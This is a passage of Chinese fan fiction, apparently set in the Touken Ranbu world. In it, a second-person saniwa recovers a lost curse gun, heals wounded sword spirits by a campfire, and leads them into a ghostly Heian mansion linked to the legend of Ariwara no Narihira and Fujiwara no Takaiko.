前田愣了一下,用空着的手抚摸眼睛,似乎才反应过来自己有“眼睛”这个东西,手指在眼眶和眼球链接的皮肤按动,仿佛下一秒要戳下去。你想了想,把手放在前田的额头上,带着他的上眼睑往鼻子方向下滑,拿开手的瞬间,前田诧异地睁眼、眨动眼睛。
“原来如此……这是为了像刀油一样保养眼球,保持视野清晰的必要动作吗?”他恍然大悟,“作为刀剑时,视野从未有过‘模糊’的概念。感谢主君指点。”
他点头的模样像仓鼠,在你心上嗑了磕,你伸出手指在他眼前摇晃,“感觉累了就要休息,眼睛也是。有什么不懂的可以问山姥切国广,他做人有经验。”
“是,在下记住了!”
你收回手,正式下达指令,“好了,适应得差不多了。我们需要在天黑前找到一把咒术枪。”你用手比划咒术枪的形状和大小,“它对我很重要。前田,你是短刀。你的侦查能力应该很强吧?”
“是!”一提到任务,前田藤四郎原本的好奇与研究被认真取代,“齐心协力……一定能找到的!”
“好。”你迅速做出分工,“前田,你负责搜查那片水流平缓的浅滩。山姥切,我们去上游水流湍急的地方,那里可能被石头卡住。如果我们其中一方找到咒术枪,就在这里原地等待另一方汇合。”
“遵命。”
“……了解。”
你摸索口袋,拿出自己的蓝色御守给前田。搜查小队再度出动。前田的身影立即投入到昏暗的浅滩中。你和山姥切则逆着越发冰冷的溪水,向着上游走去。
上游的植皮被破坏的程度较轻,树林更加茂密。当太阳最后一丝红绒彻底泯灭在地平线下,黑暗便如四面八方的潮水,吞没整个山谷。
周围的声响突然变得喧嚣。昆虫窸窸窣窣爬行,不知名的鸟叫声拖着怪异的尾音,在林间回荡。可爱的“嘀啾”声退下舞台。唯一的光源,只剩下脚下溪水反射的如鳞片般的天光。
你把一只手按在粗大的杉树干上,借此确定自己的位置,另一只手在及膝的溪水里不停摸索。粗糙的树皮给予你保持镇定的触感。在这些矗立数百年的巨杉树下,你感觉自己变得渺小得如同沙砾,这种渺小反而奇异的冲淡些许孤独。
雾气不知何时从树林间升起。乳白色的雾水缠绕在树冠之间,蔓延在草丛上,爬进你衣服里,你每次呼吸都吸入一团湿冷发苦的水。
视线所及的几米之外,已经是伸手不见五指的纯粹漆黑。那片黑暗仿佛是活物,在你注视下,挑衅地朝你一步步压近。你感觉胸口发闷,连脚下的溪水也仿佛变成黑色的死水。山姥切那身沾满血和泥的破布,在溪水和黑暗中飘忽不定,像一个怪谈里的幽灵。
你停下搜索的动作,深呼吸一口粘稠的雾水。
“山姥切?”你尽量压低声音,但在这死寂中依然显得格外突兀,“这一带……会有熊吗?”
你的声音被树皮吸收,扭曲,连你自己也吓了一跳。
山姥切淌水走到你身边,身上带着溪水的寒气和血腥味,“主君,视野太差了。应该先找个地方落脚生火……我是这么觉得的。”
山姥切的提议很明智,但你心里还是因为失去武器深感不安。
“啾—救—命……啾—救—命~”一阵尖细的声音从树顶传来,像极了小孩的哭喊。
你的心脏怦怦直跳,全身肌肉绷紧。
“哎—哟~哎—呦~”
紧接着几个蛋挞大小的黑影扑簌簌地落下,原来是几个白头鹎在争抢野果。你暗自松口气,但紧绷的神经还是没能放松下来。
就在这时,远处混沌的黑暗中,传来一阵清晰的、树枝被踩断的声音。
“啊……熊吗?”你几乎是无声地用口型说出这个词。心跳如鼓。
踩踏声没有停止,越来越近,伴随树枝被拨开的沙沙声,山姥切抽出刀挡在你身前,刀身在微亮中泛出纤长银光。你的手下意识伸向腰间——那里空空如也。你这才想起,你唯一的武器还沉在这片黑暗的溪水里。
咔嚓、咔嚓、咔嚓……
声音越来越清晰。你甚至听见自己因紧张而变得沉重的呼吸。几滴水珠从树枝滴落在你脑袋上。
突然,一道黑影从灌木丛中猛地扑出,噗通一声摔在你们面前的浅水里!
“审神者大人——!”
山姥切的刀尖在离那毛绒生物几厘米的地方骤然停下。是狐之助。它摔的七荤八素,张大嘴巴,惊魂未定地看着寒光闪闪的刀尖。
“狐之助!”
巨大的惊喜冲垮了所有紧张和恐惧,你连忙冲上去,把湿漉漉的管狐抱在怀里。温暖的金橘色皮毛,熟悉的毛茸茸触感,瞬间缓解了你在黑暗中的压力。
“主君。”
一个沉静优雅的声音从狐之助蹦出的方向传来。
你抬头往声音发出的地方看去。
黑暗的林木边缘,几个狼狈的身影正互相搀扶,缓缓走出。为首的是三日月宗近,他眼睛里的月亮出奇明亮。他正支撑身旁的一期一振,后者面色惨白,不过还可以勉强走动。再后面,笹贯背着小乌丸,小乌丸一侧小腿无力地垂下,血的颜色和裤子布料的颜色难以分清。
腥甜的铁锈味掺杂泥土的气息扑面而来。
狐之助真的找到了本丸所有人。
你的视线先粗略扫过每一个人:三日月宗近满身尘土,笑得勉强;一期一振水色的头发被血污黏连,一只手拎着皱巴巴的军服外套,衬衫仅剩靠近心脏的纽扣还紧系。
后方,小乌丸伏在笹贯背上,似乎已经失去了意识,上半身布料仅剩无几;笹贯本人虽然步伐沉稳,回应你轻松的微笑,但大腿和胸口都有刀伤,站立时身体无意识地摇晃。
“狐之助,你做得很好。”你揉揉狐之助脑袋,然后立即检查【中伤】刀剑们的伤势。
你走到小乌丸身边,探了探他的脉搏和呼吸,万幸,只是脱力昏迷。接着你转向一期一振,他腹部的刀伤横贯中腹至侧腹,还在渗血。
你做出判断,“这里树林太密,太潮湿,不适合处理伤口和休息。”
“山姥切,你侦查高,在前面开路。三日月,我来扶一期一振,你负责断后。笹贯跟紧我。我们向下游走,那里地势平坦。”
“哈哈哈,那就拜托主君了。”三日月把一期一振给你。
队伍需要光源。你本能地想打开平板,但看到上面岌岌可危的电量条时,你犹豫了。也许之后还能联系上时之政府。
你正想放弃,狐之助宛若猜中你的心思,小声解释,“审神者大人。这个……本丸核心平板主要用于联络和接收出阵队伍战况,是没有手电筒功能的……”
“……”你无语地收起平板,让山姥切带路。
山路坎坷不平,山姥切凭借着打刀不错的夜视能力在前方引路。为了照顾伤员,你们走走停停,队伍行进缓慢。
不知走了多久,视野渐渐开阔。有个豆大的火光在不远的下游浅滩跳动,旁边还有一个小小的人影。
前田藤四郎坐在浅滩上环抱手臂,脑袋左往右看,警惕四周。他似乎也发现了你们,立刻站起身,朝你们的方向大喊,“主君,我找到了——”
他从篝火边蹦起,向你跑来。刚跑没几步,他的目光错开你,定格在你旁边的一期一振上。
“……一期哥?”
他的声音变了调,起初只是快步走,随着膝盖越抬越高,一下子如离弦之箭撞入一期一振的怀抱,“一期哥!”
“呃!”
你还不及阻止,一期一振中伤再添一笔,本就摇摇欲坠的身体晃了一下,发出痛哼。但他没有推开前田,而是用尽力气回抱前田,脱下染成土黄色的手套,抚摸前田的头发。
“主君……这是怎么回事?”笹贯背上的小乌丸被这动静惊醒,虚弱地撑起头,眼里满是惊异。
“啊,这个嘛。”你挠了挠头,“先治疗完再解释吧。”
前田此时才看到一期一振中腹的伤口。脸蹭上一期一振温热黏腻的血,眼泪夺眶而出。
“对,对不起,一期哥!”他抹掉眼泪,迅速退开,小心翼翼地扶着一期一振,“请,请让我照顾大家。”
他把你们带到篝火前。篝火附近的碎石、断枝已经被清理干净,形成了一片安全的空地。你借着火光,看到前田的袜口破损,手掌上有灼烧的红痕,了然这堆篝火,是前田用袜子的绒布作为引火材料,钻木取火得来的。
“主君。”前田把怀里的咒术枪双手递给你,随后急切地帮大家解下沾满血污的外套,用军帽盛来清水。三日月和笹贯也默契地开始用清水为伤员清理伤口。
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你检查一下咒术枪,确认功能完好,放入枪套,然后走到受伤最重的一期一振和小乌丸身边。
“可能会有点痛,请忍耐一下。”
有了前两次治疗重伤刀剑的经验,你的动作熟练很多。但为两把太刀治疗中伤,依旧耗费近一个小时。当小乌丸小腿最后一层皮肤恢复如初,你不禁感到晕晕忽忽。
一期一振身体探前,脸色凝重,“主君。您是不是有点勉强?”
“没事。”你故作轻松地耸耸肩,纳闷儿一期一振怎么看得那么准。“我只是喜欢队伍保持满血状态。好了,一口气做完安心休息吧。”
你的目光扫过他,又看向三日月和笹贯,“还有你们两个,轻伤也是伤,都过来。”
你以一种不容置疑的态度把两人扯过来治疗完毕,看到眼前完好无缺的队伍,满意的点头。
刀剑们借溪水和篝火的光亮开始处理沾满血泥的衣物,一期一振和笹贯自然地承接大部分工作。笹贯甚至顺手也帮你把狩衣和単衣一同浸泡在水中搓洗。
你也没闲着,让前田找棵杉树,劈下薄度适中的衫树皮,用削尖的木棍在上面打孔,再用短木棍固定,做出一个简易的“树皮锅”。往里面装入溪水和干燥的石头,架在篝火上炙烤。
“主君的木屐找不到呢?”前田在浅滩兜兜转转,无功而返。你只好告诉他自己穿的是皮鞋。
“咦,狩衣搭配皮鞋吗?”
“嗯,怎么舒服怎么来嘛。”你笑了笑,“不过现在的确是穿木屐更方便。”
水在木头锅里咕噜作响,白色的蒸汽升腾。你坐在篝火旁边,看着这幅景象,忍不住吐槽,“比起出阵,这更像荒野求生啊,真是长见识了。”
你用木棍夹出木锅中冒着热气的石头,看它们在空气中呲呲作响,蒸发掉表面水分。然后把石头裹进袜子里,塞入皮鞋中,利用高温烘干内部。
就在这时,一期一振拿着拧干的衣物走回来,“主君,这种杂事还是请交给我们来。”
他没有多言,直接从篝火边缘徒手拿起一个个滚烫的扁平石块,在地面拼成一个方阵。然后把你的狩衣小心翼翼地摊开在石块方阵上。
“嘶啦——”
水汽蒸发,在夜色中形成缕缕白雾。水烟袅袅,抚上一期一振的脸,金色的眼眸在烟里化作水中的桂花蜜。他专注地翻动狩衣,留心不让高温烫坏布料。篝火在他脸上投上明亮的光源,一下子让人分不清他脸上的是水烟还是火烟。
你骤然回神,连忙起身一把抓住一期一振的手腕。他的手掌已经被石头烫得发红,上面已经起了透明的燎泡。
一期一振往回抽手,脸色窘迫,“请不用担心,主君。这种程度的热量对刀剑而言非常普通,不痛的。”
“‘普通’?原来这就是‘普通’啊。你做饭也会用手试油温吗?”你被气笑了,但想到对方烧却再刃的事,又深呼口气,收起笑容。
一期一振还在解释,“对于刀剑来说这不还算轻伤。在本丸里,这点小伤甚至不用麻烦您,交给手入室的精灵就好。”
一期一振还在不自觉地将“人类□□”和“刀剑本体”的概念混为一谈。
你不由叹息,握住他的手腕注入灵力,“……但这里不是本丸。”
他手上的水泡迅速消退。你松开他的手,拍了拍手打破你们之间的沉默,“以后不准再这么做了。”
你没有留下商量的余地,转身去帮山姥切捡柴火。
烘干衣服的过程安静又漫长,树枝和干苔藓总是不够,山姥切和前田默默捡拾树枝填充柴火。他们也学着你的样子,用长树枝在火堆附近搭建简易衣架,将所有人的衣物一一挂起。
溪水潺潺,篝火噼啪,星星也在白噪音里沉沉入梦。经历一天的奔波,所有人都累了。刀剑们围在篝火旁,有点闭目养神,有的擦拭本体,一期一振抱着前田,哄他入睡。
晚上三日月和小乌丸守夜。一个想多看看天上的月亮,一个则说晕过去时就已经睡饱了。
“小乌丸,”你凑到小乌丸身边,他上半身的衣服已经变成碎布条,现在还是光溜溜的。你把自己的狩衣给他套上,自己穿単衣睡觉。
“我里面还有件吸汗的打底衣,不碍事。”你躲过小乌丸推让的手,又岔开话题,“我觉得以后出阵可以买专门修衣服的「修复符」,要不然多出阵几次,衣服都是补丁了。”
小乌丸陪你闹了一会,听你讲完唤醒前田的事情后,便说可以把唤醒本丸刀剑的事提上日程,然后赶你回去睡觉。
你靠在杉树下,把烘干皮毛的狐之助抱住怀里,它把手搭在你的手上。你吩咐它去时政上报联队战的恶性BUG。
“你是最棒的狐之助。”你恋恋不舍的放开它毛茸茸的脸。
如果有更多毛茸茸狐之助就好了。当然,这句话你是不会和狐之助说的。
狐之助大受鼓舞地钻入空气中。
你看着身旁抱着膝盖,凝视着火焰的山姥切国广,轻声说了一句:“山姥切。”
他闻声转过头。
“晚安。”你露出一个浅笑,然后闭上了眼睛。
18. 第十八章
天花板被暮色切割成惨灰与昏黄。
你醒来,却觉得这具身体依旧沉睡。芬达色的窗外没有鸟叫,惨灰色的门外也没有电视声。只有某种食物的鲜香,从门缝外幽幽飘来。
发麻的手指往外一伸,你碰到个冰冷光滑的物体,扒拉到面前一看是袋未开封的袋装薯片,上面的某知名歌手大头贴笑得灿烂。
薯片?
你举起手,想把它推开,却愣住了。那是一个孩子的手,肉乎乎的,短小又无力。这不是我的手。大脑嗡地一声,你的呼吸变得急促。这不是能拿动咒术枪的手。你张开嘴,下意识想叫小乌丸,但喉咙里只能挤出一点气音。
就在恐慌即将淹没你的瞬间,客厅传来一阵“沙…沙…”的轻响,像钝刀在粗糙的水磨石上摩擦。这个熟悉的声音让你冷静下来。你闭上眼睛,深吸一口气。
原来,又回到了这里。
你没有挣扎,腿一晃,从床上坐起来,自然而然地滑下床沿。你推开房门,悄悄溜出去。
客厅没有开灯,浓稠的黑暗里只有一个轮廓坐在沙发上。她对面,老式座机在你踏出拐角时发出“咔哒”轻响,结束通话。
奶奶的脸隐在黑暗中,看不真切,只有黑色的头发盘在头上,和十年后一模一样。
「你爸妈找到新房子了。」她的声音没有起伏。
「哦。」你应一声,对这个话题同样兴味索然。
你又要搬家了,这次租的房子在教堂附近。你心里涌出的不是期待,而是一种熟悉的烦躁。你家里有很多“人”,而那些“家人”巨大、沉重,带不走。
太阳没有全部落下,家里不能点灯。你按照家里的规矩,摸黑朝椅子鞠躬,念出椅子的名字,告知它你要坐在它身上。椅子不会回答,但你需要当做它已经回答。你感谢它后拉开椅子,坐下。
「你作业做完了吗?」奶奶开始闲聊,第一句就让你心如打鼓。
「……我很快就做。」
「我不是要你在学校里就做完吗?」
你沉重地叹气,「这个……因为星期五的作业比平时多嘛。」
幸好奶奶没有继续这个话题。
「你今天有和‘外面的人’说话吗?」奶奶的头微微转动,黑暗中你感觉她的目光钉在你身上。
你默默摇头,瞥一眼饭桌。今天的晚饭是排骨和番茄炒蛋,这两道菜已经连续吃三天了。你把一块排骨按进米饭里。
「街口有人出事了。」奶奶声音平平,你总觉得好像在哪听过这种语气。
你停下咀嚼的动作,「诶?」
奶奶的手里不知何时多出一本书。她的指甲用力刮着封皮,发出“沙沙”声。原来刚才的声音是这个。
「下了咒。」
「咒?」你含糊地问,和嘴里的米饭作斗争。
「就是‘话’啊!」奶奶的声音突然抬高,又迅速压低。没有再多解释。「记住,你不要和陌生人说话,也不要相信别人。」
你把番茄炒蛋的汁水浇进米饭上,看着切成块的西红柿,你的脑海忽然闪过一个画面,快得无法捕捉。你实在不明白,为什么她,还有父母,对“话”这个东西那么恐惧。
你擦干净嘴,开始收拾碗筷,「是什么咒?」
「咒就是咒。」她不耐烦地翻开书页。
「去。」她命令你,「去把我的东西拿来。」
你知道,她要开始“找咒”了。
————
“主君!”
谁在叫你?声音隔着脑雾,宛如遥远的钟声。你迷迷糊糊地回应一声,眼皮沉重地掀开一条缝。前田正牵着你的手。再往下看,发现自己在走路。
你歪了歪头,心里疑惑自己不是在睡觉吗,怎么开始走路了?左手也有拉扯的感觉,你偏过头,对上小乌丸漆黑的眼睛。他穿着你那件宽大的狩衣,就算扎紧了袖括,大块的布料还是阻碍他的行动。这身高差,让你有种自己在带孩子出门的错觉。
“主君从早上起就不应人呢?”笹贯的声音从前方传来。
你听到三日月惯有的、含着笑意的声音响起,“呵呵,也许林大人还在梦里找月读命大人吧。”
这句话在你脑袋上一敲,你彻底清醒,不禁反驳,“我再重申一次,我只是单纯地不喜欢凌晨五点起床。”
“那么,主君期望怎么样的生活呢?”一期一振的声音温润如水。
“我想回家睡觉……”你小声嘀咕。
“等时之政府修复此处的时空扭曲,我们就可以回本丸了。”他耐心安慰你。
不,我是想回到那个能睡到早上八点自然醒的家。你在心里默默补充。
交谈间,你忽然感到一丝异样。空气中不再是湿润的草木气息,而是……一种柔软且极淡的香气。你停下脚步,抬头望去。
原本郁郁葱葱的林木,不知在何时消失了。道路两侧,取而代之的是一株株虬曲盘结的古树,枝头绽放着叆叆粉白。
是樱花。
在这秋季时节的合战场,本不该存在樱花。它们开得毫无道理,如云似霞,微风轻轻吹拂,便漫天飞舞,飘落在你的脚边和肩上。
“主君?”前田察觉到你的停顿,轻轻摇晃你的手。
你的目光扫过这片静美的花海,“大家……有没有觉得这里太安静了?”
有风无声,有鸟无鸣,连虫子的声音都消失了。这片樱花林,美得像一幅朦胧秀美、毫无生机的画。你的话让原本轻松的气氛瞬间凝固,所有人都警觉起来。
“确实,”一期一振的表情严肃起来,手已经按在刀柄上,“灵力的流动也变得混乱……大家,戒备!”
在他话音落下的瞬间,你的视线被前方树下的一个色彩吸引。那是一抹不属于樱花的藤绿色。
你松开小乌丸的手,抬起手指,“那里……好像有人?”
樱花树下,一名穿绿色和服的女人静静躺着,身体大部分被飘落的花瓣覆盖,仿佛只是枕着绚烂的粉云,安然熟睡。
在这死寂之地,普通的入睡显然是不可能的事。
小乌丸率先迈步,刀柄下压,“或许是附近的村民。”
你们小心翼翼靠近。离得越近,那身和服上精致的暗纹与华贵的面料就越清晰。这不是普通村民能拥有的衣服。
她脸上覆着一层薄薄的樱花,脸颊染上樱色,带着一种惊心动魄的美好。
你屏住呼吸,看着三日月宗近缓缓蹲下身,伸出戴着手套的手指,拨开她脸上的花瓣。有一时刻,你希望三日月不要把樱花拿走。
樱色褪去。花瓣之下,是一张青白如纸的脸。
“……是尸体。”小乌丸的话,为这片诡异的美景,画上一个冰冷的句点。
你听见三日月低语,他的目光落在女子的装束上,“垂发,小袿和长红袴……应该是身份极高的贵女了。”他顿了顿,“将这样的‘公主’留于荒山,任由野兽啃食,未免太过残忍。也许是哪户人家的公主,她的家里人想必也会伤心吧。”
“公主?”你对日本古代的身份等级不甚了解,但这个词的分量你还是懂的。
“是啊,公主。”三日月意味深长的说。
你没有反对。一来,是觉得尸体被野
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生动物吃掉的确可怜。二来,你的理智告诉你,如果能将这具尸体送回主家,或许能博取主家的好感,获取这个时代的关键情报。
你闭上眼睛,将纷乱的心绪压下,调整心态。转向山姥切国广,“那么就麻烦山姥切了。”
山姥切默默解下身上的白布,再度贡献他的布单。
你和笹贯一起扶起那具身体时,一种诡异的触感传来。那肢体柔软得不像话,仿佛其主人只是睡着了,全无死后的僵硬。空气中也没有一丝尸体应有的腐败气味,只有樱花香和女子衣物上残留的熏香。
“……真的,死了吗?”一旁的前田藤四郎声音颤抖。你记得他曾是女性的护卫刀,或许因此对眼前的景象格外触动。但刀剑的本能是不会骗人的——这具身体里,没有生命的气息。
白布包裹尸体,遮掩青白色的面孔。一期一振小心地横抱起尸体。你们的脚步再次放缓,不知是不是物伤其类,你的心情也变得莫名低落。
伴随樱雨,你们一路抵达山脚,一座宏大的府邸坐落在你们的面前。
这里和你注入灵力后的本丸很像,一片由木质回廊连接起来的建筑群。深色的築地塀(土墙)圈起广阔的庭院,但木制的正门却虚掩着,不见任何守卫。透过门缝,能看到庭院里铺着洁白的砂石,枯萎的松树,一座雅致的木桥横跨在干涸的池塘上。整座府邸气派非凡,却静到阳光照透木门都能听见咚咚之声。
你们在门外立了片刻,也没有召使出来交涉。
山姥切上前,在那扇木门上轻轻一推。门应手而开。
众人面面相觑。你率先踏了进去,庭院依旧无人,只有几株山樱在角落开着墨色的花。
“似乎这里的主人,不怎么精通待客之道呢。”三日月走到正对庭院的寝殿前,隔着垂下的御帘,扬声咳嗽几下。
帘后依旧寂静。你隐约听见链接寝殿的长廊深处,传来一声轻微的器皿碰撞的声音。
你向众人打个手势,顺着架空的木质回廊向声音来源走去。脚步踩在木板上,发出“哒、哒、哒”的回响。绕过一座绘着梨花的屏风,景象豁然开朗。
长廊尽头,一个男人靠着廊柱独坐。他身着宽大的紫底花卉图案的狩衣,长发凌乱的垂在肩头,侧脸俊美。他旁边放着一个漆盘,上面有一个酒壶和一只小巧的盃。他完全无视了你们这群不速之客,只是自顾自地斟酒,眼神空洞地望着庭院,口中低吟着:“问君何……问……”
你看看他,再看看一期一振怀里的尸体,决定派出队伍里的“平安贵族代表”。你对三日月使眼色。
三日月心神领会,上前一步交涉,“阁下安好。我等途径此地,于山道中发现一位不幸罹难的贵女。不知阁下,是否认得?”
你还是第一次听到三日月用这样绕口的语气说话。
男人仿佛没有听见,只是将杯中清酒一饮而尽,又缓缓倒满。
一期一振见状,只得上前几步,轻轻将白布包裹的尸体放在木质地板上,小心揭开上面的白布。
就在女子那张青白无血的脸暴露在空气中的瞬间,所有的声音戛然而止,男人的动作像电影里的定格镜头,定在原地。随后,他手中的酒杯“哐当”一声落在漆盘上,酒液溅出。
“啊……!”男人用衣袖挡着下半张脸,发出一声短促的惊呼。睁大的眼睛里满是难以置信。
你心想,总算找对地方了。
只见他缓缓站起身,跌跌跄跄走到女子身前,颤抖着伸出手,指尖轻轻触碰了一下尸体冰冷的脸颊。
就在这一刻。
女人睁开眼睛。
19.第十九章
女人睁开眼睛。
随着女人醒来,府邸的死寂被打破。先是风声穿过庭院,摇曳花叶;接着是清脆的鸟鸣,在枝桠间婉转啼叫。紧接着,从回廊的四面八方传来了踏踏的脚步声和压低的交谈声,侍从和侍女的身影从拐角走出,开始忙碌地打扫、整理,仿佛他们没有消失过。
幻术?你挑了挑眉,压下心头的震惊,冷静地观察着这一幕。
男人显然被这变故吓得不轻,踉跄着往后退两步。但他伸出的手却停在半空,又停在女人散落的漆黑发梢上。
“您是……我们在哪里见过吗?”男人呢喃细语。
女人征征的看着对方,闻言,脸颊一红,连忙用衣袖挡住未施粉黛的脸。她的声音细如蚊呐,“我也是……不知为何,只是看到您,这颗心便乱如麻一般?”
一见钟情?你抿紧嘴唇,几乎控制不住自己的嘴角。
就在此时,身旁的三日月发出一声轻咳,恰到好处打断你即将外泄的情绪。你瞄向他,他正含笑看着那对男女,仿佛在欣赏一出有趣的戏剧。
这声轻咳也让那对璧人回过神来,才意识到这里还有旁观者。
男人的眼神脱离空洞,变得柔和而警惕。他整理仪容,客气地问道:“在下是……”男人张了张嘴,皱起眉,“在下……在下想不起来了。胸口像是被什么堵住了一般。”
他索性放弃自我介绍,转而问道:“请问诸位是……?”
三日月上前一步,微微躬身,“这位是我们的主君,也就是「审神者」,负责「清庭」之人。我们是他的护卫。”
“‘审神’吗,”男人重复着陌生的词汇,略加思索,“莫非是隶属神祇寮的人?”
你听得云里雾里,不过三日月似乎明白男人的话。他笑道:“若按照职能相比……应该算是「阴阳师」吧?”
阴阳师?你在心里琢磨这个词。如果单从“聆听神意”看,审神者应该是神社的神主吧。而从“辨识(唤醒)灵体”和“驱使精灵(付丧神)”来看,的确审神者一职接近阴阳师的功能。
“阴阳师为什么会来这里……?”男人喃喃自语。他的目光扫过你的皮鞋,小乌丸不合身的狩衣,其余人超时代的衣物,神情更加困惑。
“是诸位将我带到这里的吧?”一直沉默的女子忽然开口,她已放下衣袖,向你们点头,“无论如何,还请受我一礼,感谢诸位的援手。”
“那么,这里究竟是什么地方?”你终于找到机会,问出最关心的问题。
面对你的疑问,两人都露出茫然的神色。他们似乎也不知道自己身在何处。没有姓名,没有来处,交流实在不便。还是那女子心思细腻,她指了指自己和服上的藤花纹样,又看了看男人狩衣上的草叶暗纹,提议道:
“若不嫌弃,暂且便以衣上的纹路为名吧。”她轻声说,“我唤‘藤子’,这位大人……便称‘叶’,如何?”
叶招呼两个仆人过来,示意他们引你们南侧对屋休息。那是一座独立的院落,同样种植着几株枝垂状的墨色山樱。
春季的太阳宛如装饰,接近正午的阳光照落在你们身上,没有热量。你总觉得哪里不对头,目光不由自主地落在那两名仆役的脚下,他们脚边的道路上没有影子。
你心中警铃大作,如同一脚踏入了精心布置的恐怖片现场。该不会等我们反应过来时,这座华美的府邸就会变回一栋破败的鬼屋吧?强烈的违和感让你浑身不自在。
穿过回廊,障子被拉开。露出一间空旷整洁的房间。这里是分配给你的母屋。仆从指了指庭院角落一间独立的矮房,那里是侍所,供护卫居住。按照此地的规矩,您如果不想护卫居住在对屋的庇(外廊)和簀子(阳台)内,他们就要去侍所居住。她说完便退下了。
原本轻松的气氛荡然无存。
一期一振的手看似随意地搭在刀柄上,实则拇指已经扣住了刀镡。他望向仆役消失的方向,压低声音:“主君,此地的‘理’,似乎与我等所知的不同。”
你点点头,看着光秃秃的木地板,真心实意感到疑惑。环顾这间四面都是纸拉门的母屋,它几乎没有任何防御能力。
“带路的仆人没有影子。”你简短地说出观察到的事实。
前田藤四郎立马握紧手里的短刀。
山姥切低声咕哝:“……仿造现实的地域吗?果然令人不快。”
“原来如此?”三日月宗近轻抚着下颌,“哈哈哈,甚好,甚好。看来是误入了神明的画卷,或是鬼怪的梦境了。如此雅致,倒也不坏。”
他看向你,“主君,面对此等‘非人之物’,不知您有何打算?”
这一下,所有人的目光都聚焦在了你身上。
你深吸一口气,大脑飞速运转。现在首要任务是确保安全。“首先,我们不能分开。这间母屋四面透风,不利于防守。”
你的目光扫过房间,目光落在母屋一侧厚重的小门上。那是涂笼,也就是黑房间,一间没有窗户、墙壁厚实的储藏室,既能储存贵重物品,也能用来做藏身之处。
“……涂笼吗?”你摸摸下巴,“那么今晚,所有人都在这间母屋休息。以涂笼为核心,轮流守夜。”
你开始安排,“前田。”
“是!”前田藤四郎立马应声。
“我们现在有六把刀剑,你,一期一振和小乌丸负责前半夜。短刀侦查能力在夜晚最强,注意任何细微的响动。小乌丸,你在太刀中机动较高,若有异动,你的反应最快。”
你顿了顿,看向笹贯,三日月和山姥切国广。
“笹贯,三日月,山姥切,你们经验丰富各项数值互补,请于后段接替。我也会和你们一起守后半夜。”
“夜中最黑暗的时候,我们所有人一起值守。”
最后,你认真的对山姥切国广说:“山姥切,委屈你,守在涂笼门口。我有预感……那个怪物还会出现。”
山姥切抬头看你,眼神复杂。他拉着白布的手微微松开,低声应道:“……知道了。”
分配完任务,你才感到轻松一些。首先看向三日月宗近,“三日月,刚才我看到你在笑,你知道些什么吗?”
三日月沉吟,“嗯……如果是按照锻造的时代。恐怕小乌丸殿比我更清楚吧。”
小乌丸正站在一道几帐旁,收回投向主殿方向的目光。他缓缓开口:“为父,或许略有所知。”
他没有立刻解释,而是反问你:“主君,你对‘在原业平’与‘藤原高子’这两个名字,有印象吗?”
你茫然地摇了摇头,表示自己对日本史不了解。
看到你迷茫的样子,小乌丸继续解释,“吾为平安时期,太神宫的来使赠与桓武天皇的宝物。而「在原业平」,是桓武天皇的孙子。「藤原高子」,是权臣藤原氏的女儿,是未来的二条后。他们二人的私奔,是动摇了整个平安京的宫廷丑闻。”
你眨了眨眼,明白小乌丸的暗示,所以这算是遇到前主孙子的“私奔现场”?
正午,主家于对屋簀子上布置观景午宴,仆人们放下竹帘调节光线,让宾客们坐在帘后。藤子和叶只在最初出席,敬酒后离开,将膳食托盘原封不动地留在原地,象征仍然“在场”。
食物都是凉的,而且每一份只占碗的三分之一。晒干的鱼和贝类加入水重新炖煮,仅有淡淡的咸味;蔬菜是用酒和盐腌渍的胡萝卜和瓜类。餐桌上还有一种米粉和豆沙制成的、被称为“糖果子”的甜点,三日月尝试后称“无毒,且味道非常好。”你吃了一口只觉得甜得头痛。
你放下甜点,等刀剑男士们用餐完毕,就让他们分头侦查府邸的构造和边界。待众人散去,你这才呼唤狐之助。
“审神者大人!”一团光影扭曲,小管狐凭空出现,但耳朵耷拉着,一脸苦恼。
“通知了吗?”
“这个……消息是送到了。”狐之助小声嘀咕,“但是……「总务处」回复,系统显示您仍处于‘联队战’第一合战场的战斗序列中,无法进行强制召回。「总务处」那边也在排查。”
狐之助递上一个便携式的灵力充电装置。你接上平板,屏幕在乱码中闪烁片刻,最终稳定下来——“联队战”的界面显示着【剩余波数:6/10】。
你走到廊边,三日月宗近正站在那里,望着庭院中的墨色垂樱。“我们还在‘联队战’里。”
三日月回头,手里拿着一片飘落的樱花,“嗯~我想也是如此。从踏入那片杉树林开始,或许我们就已经在‘扭曲的战场’之中了。只是这战场,并非由寻常的‘历史修正主义者’构成。”
“如果这里是在原业平与藤原高子私奔‘成功’后形成的一段虚假历史,那么他们为什么会忘记自己是谁?”
三日月宗近不置可否地笑了笑,慢悠悠地反问你,“哈哈哈。主君,‘成功’与‘失败’,‘真实’与‘虚假’,其界限又在何处呢?对画中人而言,画卷之外的世界,才是虚假吧。”
他顿了顿,手里的樱花花瓣随风而去。
“主君啊,比起追问答案,不如先试着去理解‘画师’的心情。比如……为何这场私奔,会出现一个关于‘山姥’的怪谈呢?”
“画师的‘心’吗?”
你陷入沉思。“心灵”这一词,曾出现于「审神者新人指南」神道目录中:人类集体无意识与器物诞生的心灵结合,足矣产生干扰历史的灵力。
从心意中诞生,拥有改变现实的力量——不论爱恨,这就是“咒”的雏形。
你尝试把现有的信息组合在一起:
一.最关键的第一步是确认「是否有咒」,也就是现实的扭曲是否真实存在。毫无疑问这个扭曲地域存在,并且原型是「在原业平」与「藤原高子」私奔成功的世界。
二.「咒的来源是什么?」,以私奔一事而言,最希望私奔成功的无疑是「在原业平」和「藤原高子」本人。
但依然有疑点。比如消失又依然存在的时间朔行军;「在原业平」与「藤原高子」为何失去记忆;为什么这里出现了山姥。这些答案缺失便无法解咒。
你轻笑一声,没想到真的要做一回阴阳师,“您还真是厉害。”
“哪里哪里,林大人也很厉害。”
你对他微微颔首,表示感谢。与其在这里和他斗嘴,不如去寻找更直接的线索。你的目光转向主殿的方向,小乌丸或许知道更多关于故事主人公的信息。
你转身沿着回廊向主殿方向走去,就在这时,你与一名侍女擦肩而过。你记得那是午宴上一位名为“歌”的侍女。
侍女“歌”正捧着几片火红的枫叶,从你身边匆匆走过。
这个地方不是春天吗?
你的脚步停住了。你缓缓回头,目光跟随着那抹鲜艳的红色,消失在长廊深处。
一道身影无声无息地出现在你身侧。你心头一凛,侧身戒备,却发现是笹贯。
“主君。”笹贯带着爽朗的笑容来到你身边,“主君,
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我哪也找不到您,还以为你要把我扔掉了。”
你下意识想反驳——不会抛下你不管。但他用眼神示意你噤声,换上严肃的表情,然后朝寝殿北侧指了指。“我和山姥切发现了个事,您快来。”
你点点头,放轻脚步跟上他。
